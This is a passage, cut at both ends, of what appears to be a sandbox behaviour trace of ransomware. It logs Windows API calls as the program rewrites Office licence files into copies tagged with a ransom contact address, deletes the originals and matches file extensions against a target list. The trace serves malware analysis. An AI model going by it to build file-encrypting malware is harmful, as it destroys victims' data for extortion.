office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0182.887] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.887] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0182.888] GetLastError () returned 0x0 [0182.888] ReadFile (in: hFile=0x478, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x5611, lpOverlapped=0x0) returned 1 [0182.944] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x5620, lpOverlapped=0x0) returned 1 [0182.945] ReadFile (in: hFile=0x478, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.945] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x110, lpOverlapped=0x0) returned 1 [0182.946] SetEndOfFile (hFile=0x544) returned 1 [0182.946] CloseHandle (hObject=0x544) returned 1 [0182.946] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.946] SetEndOfFile (hFile=0x478) returned 1 [0182.980] CloseHandle (hObject=0x478) returned 1 [0182.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0182.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0182.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0182.999] lstrlenW (lpString=".doc") returned 4 [0182.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString=".docx") returned 5 [0182.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.999] lstrlenW (lpString=".pdf") returned 4 [0182.999] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString=".xls") returned 4 [0182.999] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString=".xlsx") returned 5 [0182.999] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.999] lstrlenW (lpString=".ppt") returned 4 [0182.999] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0182.999] lstrlenW (lpString=".zip") returned 4 [0182.999] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString=".rar") returned 4 [0182.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString=".bz2") returned 4 [0182.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString=".7z") returned 3 [0182.999] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0182.999] lstrlenW (lpString=".dbf") returned 4 [0182.999] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0182.999] lstrlenW (lpString=".1cd") returned 4 [0182.999] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0183.000] lstrlenW (lpString=".jpg") returned 4 [0183.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0183.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0183.000] lstrlenW (lpString=".doc") returned 4 [0183.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString=".docx") returned 5 [0183.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.000] lstrlenW (lpString=".pdf") returned 4 [0183.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString=".xls") returned 4 [0183.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString=".xlsx") returned 5 [0183.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.000] lstrlenW (lpString=".ppt") returned 4 [0183.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0183.000] lstrlenW (lpString=".zip") returned 4 [0183.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString=".rar") returned 4 [0183.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString=".bz2") returned 4 [0183.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString=".7z") returned 3 [0183.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0183.000] lstrlenW (lpString=".dbf") returned 4 [0183.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0183.000] lstrlenW (lpString=".1cd") returned 4 [0183.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0183.001] lstrlenW (lpString=".jpg") returned 4 [0183.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.001] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0183.001] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 36 [0183.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0183.003] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19962) returned 1 [0183.004] CloseHandle (hObject=0x3f4) returned 1 [0183.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0183.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0183.004] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.004] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0183.005] GetLastError () returned 0x0 [0183.005] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0183.404] WriteFile (in: hFile=0x478, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0183.405] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.405] WriteFile (in: hFile=0x478, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x11c, lpOverlapped=0x0) returned 1 [0183.405] SetEndOfFile (hFile=0x478) returned 1 [0183.405] CloseHandle (hObject=0x478) returned 1 [0183.405] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.405] SetEndOfFile (hFile=0x3f4) returned 1 [0183.409] CloseHandle (hObject=0x3f4) returned 1 [0183.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0183.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.411] lstrlenW (lpString=".doc") returned 4 [0183.411] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.411] lstrlenW (lpString=".docx") returned 5 [0183.411] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.411] lstrlenW (lpString=".pdf") returned 4 [0183.411] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.411] lstrlenW (lpString=".xls") returned 4 [0183.411] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.411] lstrlenW (lpString=".xlsx") returned 5 [0183.411] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.411] lstrlenW (lpString=".ppt") returned 4 [0183.411] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.412] lstrlenW (lpString=".zip") returned 4 [0183.412] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString=".rar") returned 4 [0183.412] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString=".bz2") returned 4 [0183.412] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString=".7z") returned 3 [0183.412] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.412] lstrlenW (lpString=".dbf") returned 4 [0183.412] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.412] lstrlenW (lpString=".1cd") returned 4 [0183.412] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.412] lstrlenW (lpString=".jpg") returned 4 [0183.412] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.412] lstrlenW (lpString=".doc") returned 4 [0183.412] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString=".docx") returned 5 [0183.412] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.412] lstrlenW (lpString=".pdf") returned 4 [0183.412] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString=".xls") returned 4 [0183.412] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.412] lstrlenW (lpString=".xlsx") returned 5 [0183.413] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.413] lstrlenW (lpString=".ppt") returned 4 [0183.413] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.413] lstrlenW (lpString=".zip") returned 4 [0183.413] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.413] lstrlenW (lpString=".rar") returned 4 [0183.413] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.413] lstrlenW (lpString=".bz2") returned 4 [0183.413] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.413] lstrlenW (lpString=".7z") returned 3 [0183.413] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.413] lstrlenW (lpString=".dbf") returned 4 [0183.413] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.413] lstrlenW (lpString=".1cd") returned 4 [0183.413] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0183.413] lstrlenW (lpString=".jpg") returned 4 [0183.413] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.413] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0183.413] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34 [0183.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0183.414] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=22094) returned 1 [0183.414] CloseHandle (hObject=0x3f4) returned 1 [0183.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0183.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0183.415] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.415] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0183.416] GetLastError () returned 0x0 [0183.416] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x564e, lpOverlapped=0x0) returned 1 [0184.001] WriteFile (in: hFile=0x478, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x5650, lpOverlapped=0x0) returned 1 [0184.020] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.020] WriteFile (in: hFile=0x478, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x118, lpOverlapped=0x0) returned 1 [0184.020] SetEndOfFile (hFile=0x478) returned 1 [0184.020] CloseHandle (hObject=0x478) returned 1 [0184.026] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.026] SetEndOfFile (hFile=0x3f4) returned 1 [0184.044] CloseHandle (hObject=0x3f4) returned 1 [0184.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0184.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.288] lstrlenW (lpString=".doc") returned 4 [0184.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.288] lstrlenW (lpString=".docx") returned 5 [0184.288] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.288] lstrlenW (lpString=".pdf") returned 4 [0184.288] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString=".xls") returned 4 [0184.289] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString=".xlsx") returned 5 [0184.289] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.289] lstrlenW (lpString=".ppt") returned 4 [0184.289] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.289] lstrlenW (lpString=".zip") returned 4 [0184.289] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString=".rar") returned 4 [0184.289] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString=".bz2") returned 4 [0184.289] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString=".7z") returned 3 [0184.289] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.289] lstrlenW (lpString=".dbf") returned 4 [0184.289] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.289] lstrlenW (lpString=".1cd") returned 4 [0184.289] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.289] lstrlenW (lpString=".jpg") returned 4 [0184.289] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.289] lstrlenW (lpString=".doc") returned 4 [0184.289] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString=".docx") returned 5 [0184.290] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.290] lstrlenW (lpString=".pdf") returned 4 [0184.290] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString=".xls") returned 4 [0184.290] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString=".xlsx") returned 5 [0184.290] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.290] lstrlenW (lpString=".ppt") returned 4 [0184.290] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.290] lstrlenW (lpString=".zip") returned 4 [0184.290] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString=".rar") returned 4 [0184.290] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString=".bz2") returned 4 [0184.290] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString=".7z") returned 3 [0184.290] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.290] lstrlenW (lpString=".dbf") returned 4 [0184.290] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.290] lstrlenW (lpString=".1cd") returned 4 [0184.290] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.290] lstrlenW (lpString=".jpg") returned 4 [0184.290] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.291] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.291] lstrlenW 